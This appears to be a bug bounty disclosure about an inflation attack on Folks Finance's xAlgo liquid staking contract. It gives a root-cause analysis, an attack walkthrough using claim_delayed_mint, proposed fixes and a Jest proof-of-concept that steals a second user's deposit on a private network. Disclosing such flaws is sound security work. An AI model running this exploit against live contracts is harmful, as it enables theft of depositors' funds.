Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Folks Finance Liquid Staking Bug Report
Inflation Attack in xAlgo
Description
The liquid staking contract in Folks Finance is vulnerable to an inflation attack, allowing malicious actors to inflate xAlgo value by donating Algo to a proposer. This flaw enables attackers to exploit the system and steal deposits from other users.
Root Cause Analysis
The vulnerability stems from how xAlgo minting is calculated in the immediate_mint and claim_delayed functions.
In both cases, when algo_balance equals zero, xAlgo can be minted at a 1:1 ratio with Algo. For example, if a user supplies 1 Algo, they can mint 1 xAlgo.
An attacker exploits this by donating Algo to a proposer after minting 1 xAlgo for themselves, which increases the rewards pool. Since this rewards Algo is factored into the algo_balance calculation:
The inflated algo_balance results in disproportionate xAlgo minting. Consequently, attackers can steal funds from other users by using the burn mechanism.
Example
User 0 deposits 1 Algo and receives 1 xAlgo.
User 0 donates 50 Algo, artificially inflating the value of xAlgo.
User 1 deposits 100 Algo and receives only 1 xAlgo due to the inflated value, which is a rounded down amount.
User 0 withdraws their entire balance, taking 75 Algo (stealing 25 Algo from User 1).
Why is in interesting to Folks Finance on Algorand?
In Ethereum, such attacks are more prominent due to frontrunning risks. However, in Algorand this is less of an issue, making the inflation possible but the attack a bit tougher to perform.
The more interesting vector lies in the delayed_mint mechanism:
When using delayed_mint, xAlgo minting is postponed, allowing attackers to monitor exact deposits and exploit the minting process without the need of frontrunning.
Since claim_delayed_mint can be called by anyone, attackers can time their actions with precision and even automate the exploit.
Exploit Process (Using delayed_mint):
Victim performs a delayed mint with 100 Algo.
After 320 rounds, xAlgo is available to mint, allowing the attacker to intervene: 2. Attacker mints 1 Algo, receiving 1 xAlgo.
3. Attacker donates 50 Algo, inflating xAlgo value.
4. Attacker calls claim_delayed_mint for the victim, forcing them to mint only 1 xAlgo.
5. Attacker burns their 1 xAlgo, stealing funds from the victim.
Steps 2-5 can be performed atomically in a single transaction, ensuring minimal risk for the attacker.
Severity and Impact
This vulnerability is critical, as it allows attackers to steal user funds with minimal risk, undermining the protocol's integrity and user trust.
Proposed Solutions
Minimum xAlgo Mint Threshold: Implement a minimum threshold for xAlgo minting to prevent small deposits from manipulating the system.
Minimum Algo Deposit Requirement: Introduce a minimum deposit amount to reduce the attack surface.
Initial Contract Deposit: Mint dead xAlgo to the contract and have it act as the first depositor to ensure proper proportionality and mitigate inflation risks.
By implementing these fixes, the protocol can effectively mitigate this vulnerability and safeguard user funds.
Proof of Concept
POC
Run this test file, the IMMUNEFI POC test is the main test to watch
import { ABIContract, Account, Algodv2, AtomicTransactionComposer, decodeAddress, decodeUint64, encodeUint64, generateAccount, getApplicationAddress, getMethodByName, IntDecoding, makeApplicationCreateTxn, makeApplicationUpdateTxn, makeBasicAccountTransactionSigner, modelsv2, OnApplicationComplete,} from"algosdk";import { mulScale, mulScaleRoundUp, ONE_16_DP, ONE_4_DP } from"folks-finance-js-sdk";import { sha256 } from"js-sha256";import { prepareOptIntoAssetTxn } from"./transactions/common";import { parseXAlgoConsensusV1GlobalState, prepareAddProposerForXAlgoConsensus, prepareBurnFromXAlgoConsensusV2, prepareClaimDelayedMintFromXAlgoConsensus, prepareClaimXAlgoConsensusV2Fee, prepareDelayedMintFromXAlgoConsensusV2, prepareImmediateMintFromXAlgoConsensusV2, prepareInitialiseXAlgoConsensusV1, prepareInitialiseXAlgoConsensusV2, preparePauseXAlgoConsensusMinting, prepareRegisterXAlgoConsensusOffline, prepareRegisterXAlgoConsensusOnline, prepareScheduleXAlgoConsensusSCUpdate, prepareUpdateXAlgoConsensusAdmin, prepareUpdateXAlgoConsensusV2Fee, prepareUpdateXAlgoConsensusPremium, prepareUpdateXAlgoConsensusMaxProposerBalance, prepareUpdateXAlgoConsensusSC, prepareSetXAlgoConsensusProposerAdmin, prepareSubscribeXAlgoConsensusProposerToXGov, prepareUnsubscribeXAlgoConsensusProposerFromXGov, prepareXAlgoConsensusDummyCall, parseXAlgoConsensusV2GlobalState, prepareCreateXAlgoConsensusV1, prepareMintFromXAlgoConsensusV1,} from"./transactions/xAlgoConsensus";import { getABIContract } from"./utils/abi";import { getAlgoBalance, getAssetBalance } from"./utils/account";import { compilePyTeal, compileTeal, enc, getAppGlobalState, getParsedValueFromState, parseUint64s} from"./utils/contracts";import { fundAccountWithAlgo } from"./utils/fund";import { privateAlgodClient, startPrivateNetwork, stopPrivateNetwork } from"./utils/privateNetwork";import { advanceBlockRounds, advancePrevBlockTimestamp } from"./utils/time";import { getParams, submitGroupTransaction, submitTransaction } from"./utils/transaction";jest.setTimeout(1000000);describe("Algo Consensus V2", () => {let algodClient:Algodv2;let prevBlockTimestamp:bigint;let user1:Account=generateAccount();let user2:Account=generateAccount();let proposer0:Account=generateAccount();let proposer1:Account=generateAccount();let proposer2:Account=generateAccount();let admin:Account=generateAccount();let registerAdmin:Account=generateAccount();let xGovAdmin:Account=generateAccount();let proposerAdmin:Account=generateAccount();let xAlgoAppId:number, xAlgoId:number;let xAlgoConsensusABI:ABIContract;let xGovRegistryAppId:number;let xGovRegistryABI:ABIContract;let xGovFee:bigint;consttimeDelay=BigInt(86400);constminProposerBalance=BigInt(5e6);constmaxProposerBalance=BigInt(500e6);constpremium=BigInt(0.001e16); // 0.1%constfee=BigInt(0.1e4); // 10%constnonce=Uint8Array.from([0,0]);constresizeProposerBoxCost=BigInt(16000);constupdateSCBoxCost=BigInt(32100);constdelayMintBoxCost=BigInt(36100);asyncfunctiongetXAlgoRate() {constatc=newAtomicTransactionComposer();atc.addMethodCall({ sender:user1.addr, signer:makeBasicAccountTransactionSigner(user1), appID: xAlgoAppId, method:getMethodByName(xAlgoConsensusABI.methods,"get_xalgo_rate"), methodArgs: [], suggestedParams:awaitgetParams(algodClient), });constsimReq=newmodelsv2.SimulateRequest({ txnGroups: [], allowUnnamedResources:true, })const { methodResults } =awaitatc.simulate(algodClient, simReq);const { returnValue } = methodResults[0];const [algoBalance,xAlgoCirculatingSupply,balances]: [bigint,bigint,Uint8Array] = returnValue asany;constproposersBalances=parseUint64s(Buffer.from(balances).toString("base64"));return { algoBalance, xAlgoCirculatingSupply, proposersBalances } ; }beforeAll(async () => {awaitstartPrivateNetwork(); algodClient =privateAlgodClient();algodClient.setIntEncoding(IntDecoding.MIXED);// initialise accounts with algoawaitfundAccountWithAlgo(algodClient,user1.addr,1000e6,awaitgetParams(algodClient));awaitfundAccountWithAlgo(algodClient,user2.addr,1000e6,awaitgetParams(algodClient));awaitfundAccountWithAlgo(algodClient,admin.addr,1000e6,awaitgetParams(algodClient));awaitfundAccountWithAlgo(algodClient,registerAdmin.addr,1000e6,awaitgetParams(algodClient));awaitfundAccountWithAlgo(algodClient,xGovAdmin.addr,1000e6,awaitgetParams(algodClient));awaitfundAccountWithAlgo(algodClient,proposerAdmin.addr,1000e6,awaitgetParams(algodClient));// advance time well past current time so we are dealing with deterministic time using offsets prevBlockTimestamp =awaitadvancePrevBlockTimestamp(algodClient,1000);// deploy xgov registryconstapproval=awaitcompileTeal(compilePyTeal('contracts/testing/xgov_registry'));constclear=awaitcompileTeal(compilePyTeal('contracts/common/clear_program',10));consttx=makeApplicationCreateTxn(user1.addr,awaitgetParams(algodClient),OnApplicationComplete.NoOpOC, approval, clear,0,0,1,0);consttxId=awaitsubmitTransaction(algodClient, tx,user1.sk);consttxInfo=awaitalgodClient.pendingTransactionInformation(txId).do(); xGovRegistryAppId = txInfo["application-index"]; xGovRegistryABI =getABIContract('contracts/testing/xgov_registry'); xGovFee =BigInt(getParsedValueFromState(awaitgetAppGlobalState(algodClient, xGovRegistryAppId),"xgov_fee") ||0); });afterAll(() => {stopPrivateNetwork(); });describe("creation", () => {test("succeeds in updating from x algo consensus v1 to x algo consensus v2",async () => {// deploy algo consensus v1const { tx: createTx,abi } =awaitprepareCreateXAlgoConsensusV1(admin.addr,admin.addr,registerAdmin.addr, minProposerBalance, maxProposerBalance, premium, fee,awaitgetParams(algodClient)); xAlgoConsensusABI = abi;let txId =awaitsubmitTransaction(algodClient, createTx,admin.sk);let txInfo =awaitalgodClient.pendingTransactionInformation(txId).do(); xAlgoAppId = txInfo["application-index"];// fund minimum balanceawaitfundAccountWithAlgo(algodClient,proposer0.addr,BigInt(0.1e6),awaitgetParams(algodClient));awaitfundAccountWithAlgo(algodClient,getApplicationAddress(xAlgoAppId),0.6034e6);// initialise algo consensus v1constinitTxns=prepareInitialiseXAlgoConsensusV1(xAlgoConsensusABI, xAlgoAppId,admin.addr,proposer0.addr,awaitgetParams(algodClient)); [, txId] =awaitsubmitGroupTransaction(algodClient, initTxns, [proposer0.sk,admin.sk]); txInfo =awaitalgodClient.pendingTransactionInformation(txId).do(); xAlgoId = txInfo['inner-txns'][0]['asset-index'];// verify xAlgo was createdconstassetInfo=awaitalgodClient.getAssetByID(xAlgoId).do();expect(assetInfo.params.creator).toEqual(getApplicationAddress(xAlgoAppId));expect(assetInfo.params.reserve).toEqual(getApplicationAddress(xAlgoAppId));expect(assetInfo.params.total).toEqual(BigInt(10e15));expect(assetInfo.params.decimals).toEqual(6);expect(assetInfo.params.name).toEqual('Governance xAlgo');expect(assetInfo.params['unit-name']).toEqual('xALGO');// opt into xALGOlet optInTx =prepareOptIntoAssetTxn(admin.addr, xAlgoId,awaitgetParams(algodClient));awaitsubmitTransaction(algodClient, optInTx,admin.sk); optInTx =prepareOptIntoAssetTxn(user1.addr, xAlgoId,awaitgetParams(algodClient));awaitsubmitTransaction(algodClient, optInTx,user1.sk); optInTx =prepareOptIntoAssetTxn(user2.addr, xAlgoId,awaitgetParams(algodClient));awaitsubmitTransaction(algodClient, optInTx,user2.sk);// mint to get pool startedconstmintAmount=BigInt(100e6);constmintTxns=prepareMintFromXAlgoConsensusV1(xAlgoConsensusABI, xAlgoAppId, xAlgoId,user2.addr, mintAmount,proposer0.addr,awaitgetParams(algodClient));awaitsubmitGroupTransaction(algodClient, mintTxns,mintTxns.map(() =>user2.sk));// verify global stateconststate=awaitparseXAlgoConsensusV1GlobalState(algodClient, xAlgoAppId);expect(state.initialised).toEqual(true);expect(state.admin).toEqual(admin.addr);expect(state.registerAdmin).toEqual(registerAdmin.addr);expect(state.xAlgoId).toEqual(xAlgoId);expect(state.numProposers).toEqual(BigInt(1));expect(state.minProposerBalance).toEqual(minProposerBalance);expect(state.maxProposerBalance).toEqual(maxProposerBalance);expect(state.fee).toEqual(fee);expect(state.premium).toEqual(premium);expect(state.totalPendingStake).toEqual(BigInt(0));expect(state.totalActiveStake).toEqual(mintAmount);expect(state.totalRewards).toEqual(BigInt(0));expect(state.totalUnclaimedFees).toEqual(BigInt(0));expect(state.canImmediateMint).toEqual(true);expect(state.canDelayMint).toEqual(false);// verify proposers boxconstproposersBox=awaitalgodClient.getApplicationBoxByName(xAlgoAppId,enc.encode("pr")).do();constproposers=newUint8Array(960);proposers.set(decodeAddress(proposer0.addr).publicKey,0);expect(proposersBox.value).toEqual(proposers);// verify added proposer boxconstboxName=Uint8Array.from([...enc.encode("ap"),...decodeAddress(proposer0.addr).publicKey]);constaddedProposerBox=awaitalgodClient.getApplicationBoxByName(xAlgoAppId, boxName).do();expect(addedProposerBox.value).toEqual(newUint8Array(0));// verify balancesconstuser2XAlgoBalance=awaitgetAssetBalance(algodClient,user2.addr, xAlgoId);expect(user2XAlgoBalance).toEqual(mintAmount);// update to algo consensus v2constapproval=awaitcompileTeal(compilePyTeal('contracts/xalgo/consensus_v2'));constclear=awaitcompileTeal(compilePyTeal('contracts/common/clear_program',10));constupdateTx=makeApplicationUpdateTxn(admin.addr,awaitgetParams(algodClient), xAlgoAppId, approval, clear);awaitsubmitTransaction(algodClient, updateTx,admin.sk); xAlgoConsensusABI =getABIContract('contracts/xalgo/consensus_v2'); }); });describe("initialise", () => {test("succeeds for admin",async () => {constoldState=awaitparseXAlgoConsensusV1GlobalState(algodClient, xAlgoAppId);// initialiseconsttx=prepareInitialiseXAlgoConsensusV2(xAlgoConsensusABI, xAlgoAppId,admin.addr,awaitgetParams(algodClient));awaitsubmitTransaction(algodClient, tx,admin.sk);// verify global stateconstunformattedState=awaitgetAppGlobalState(algodClient, xAlgoAppId);expect(getParsedValueFromState(unformattedState,"initialised")).toBeUndefined();expect(getParsedValueFromState(unformattedState,"min_proposer_balance")).toBeUndefined();conststate=awaitparseXAlgoConsensusV2GlobalState(algodClient, xAlgoAppId);expect(state.initialised).toEqual(true);expect(state.admin).toEqual(oldState.admin);expect(state.xGovAdmin).toEqual(oldState.admin);expect(state.registerAdmin).toEqual(oldState.registerAdmin);expect(state.xAlgoId).toEqual(oldState.xAlgoId);expect(state.numProposers).toEqual(oldState.numProposers);expect(state.maxProposerBalance).toEqual(oldState.maxProposerBalance);expect(state.fee).toEqual(oldState.fee);expect(state.premium).toEqual(oldState.premium);expect(state.totalPendingStake).toEqual(oldState.totalPendingStake);expect(state.totalActiveStake).toEqual(oldState.totalActiveStake);expect(state.totalRewards).toEqual(oldState.totalRewards);expect(state.totalUnclaimedFees).toEqual(oldState.totalUnclaimedFees);expect(state.canImmediateMint).toEqual(oldState.canImmediateMint);expect(state.canDelayMint).toEqual(oldState.canDelayMint);// const { algoBalance: a, xAlgoCirculatingSupply: b, proposersBalances: c } = await getXAlgoRate();// console.log(`algoBalance: ${a}, xAlgoCirculatingSupply: ${b}, proposersBalances: ${c}`) }); });describe("IMMUNEFI POC: Inflation attack", () => {constproposerAddrs= [proposer0.addr];beforeAll(async () => {// create a clean slate for the projectconst { xAlgoCirculatingSupply: xAlgoToBurn } =awaitgetXAlgoRate();// this is only to start a clean slateconsttxns1=prepareBurnFromXAlgoConsensusV2(xAlgoConsensusABI, xAlgoAppId, xAlgoId,user2.addr, xAlgoToBurn,BigInt(0), proposerAddrs,awaitgetParams(algodClient));const [,txId1] =awaitsubmitGroupTransaction(algodClient, txns1,txns1.map(() =>user2.sk));awaitalgodClient.pendingTransactionInformation(txId1).do();// initial amountsconst { algoBalance: algoBalanceInitial, xAlgoCirculatingSupply: xAlgoCirculatingSupplyInitial } =awaitgetXAlgoRate();expect(algoBalanceInitial).toEqual(BigInt(0)); // no algo in protocolexpect(xAlgoCirculatingSupplyInitial).toEqual(BigInt(0)); // no xAlgo in protocol })test("inflation attack steal from 2 minter",async () => {constmintAmount=BigInt(10e6);consthalfMintAmount=BigInt(5e6);constminReceived=BigInt(0);// immediate mint for user 1consttxns=prepareImmediateMintFromXAlgoConsensusV2(xAlgoConsensusABI, xAlgoAppId, xAlgoId,user1.addr,BigInt(1), minReceived, proposerAddrs,awaitgetParams(algodClient));const [,txId] =awaitsubmitGroupTransaction(algodClient, txns,txns.map(() =>user1.sk));awaitalgodClient.pendingTransactionInformation(txId).do();// fund the proposer, it will return to the algoBalance as rewards.awaitfundAccountWithAlgo(algodClient,proposer0.addr, halfMintAmount,awaitgetParams(algodClient));const { algoBalance: algoSpentByAttacker, xAlgoCirculatingSupply: xAlgoCirculatingSupplyAfterFirstMint } =awaitgetXAlgoRate();console.log(`algoBalanceAfterFirstMint: ${algoSpentByAttacker}, xAlgoCirculatingSupplyAfterFirstMint: ${xAlgoCirculatingSupplyAfterFirstMint}`)expect(xAlgoCirculatingSupplyAfterFirstMint).toEqual(BigInt(1));// immediate mint for user 2consttxns2=prepareImmediateMintFromXAlgoConsensusV2(xAlgoConsensusABI, xAlgoAppId, xAlgoId,user2.addr, mintAmount, minReceived, proposerAddrs,awaitgetParams(algodClient));const [,txId2] =awaitsubmitGroupTransaction(algodClient, txns2,txns2.map(() =>user2.sk));awaitalgodClient.pendingTransactionInformation(txId2).do();const { algoBalance: algoBalanceAfterSecondMint, xAlgoCirculatingSupply: xAlgoCirculatingSupplyAfterSecondMint } =awaitgetXAlgoRate();console.log(`algoBalanceAfterSecondMint: ${algoBalanceAfterSecondMint}, xAlgoCirculatingSupplyAfterSecondMint: ${xAlgoCirculatingSupplyAfterSecondMint}`)expect(xAlgoCirculatingSupplyAfterSecondMint).toEqual(BigInt(2)); // only 1 additional xAlgo was minted// user1 withdraws and steals funds from user 2consttxns1=prepareBurnFromXAlgoConsensusV2(xAlgoConsensusABI, xAlgoAppId, xAlgoId,user1.addr,BigInt(1),BigInt(0), proposerAddrs,awaitgetParams(algodClient));const [,txId1] =awaitsubmitGroupTransaction(algodClient, txns1,txns1.map(() =>user1.sk));awaitalgodClient.pendingTransactionInformation(txId1).do();// initial amountsconst { algoBalance: algoBalanceAfterAttack, xAlgoCirculatingSupply: xAlgoCirculatingSupplyAfterAttack } =awaitgetXAlgoRate();console.log(`algoBalanceAfterAttack: ${algoBalanceAfterAttack}, xAlgoCirculatingSupplyAfterAttack: ${xAlgoCirculatingSupplyAfterAttack}`)constattackerAlgoGain= algoBalanceAfterSecondMint - algoBalanceAfterAttack;conststolenAlgoAmount= attackerAlgoGain - algoSpentByAttacker;expect(attackerAlgoGain).toBeGreaterThan(algoSpentByAttacker); // attacker stole from the user 2console.log(`attacker gained: ${attackerAlgoGain}, attacker spent: ${algoSpentByAttacker}, attacker stole: ${stolenAlgoAmount}`) }); });});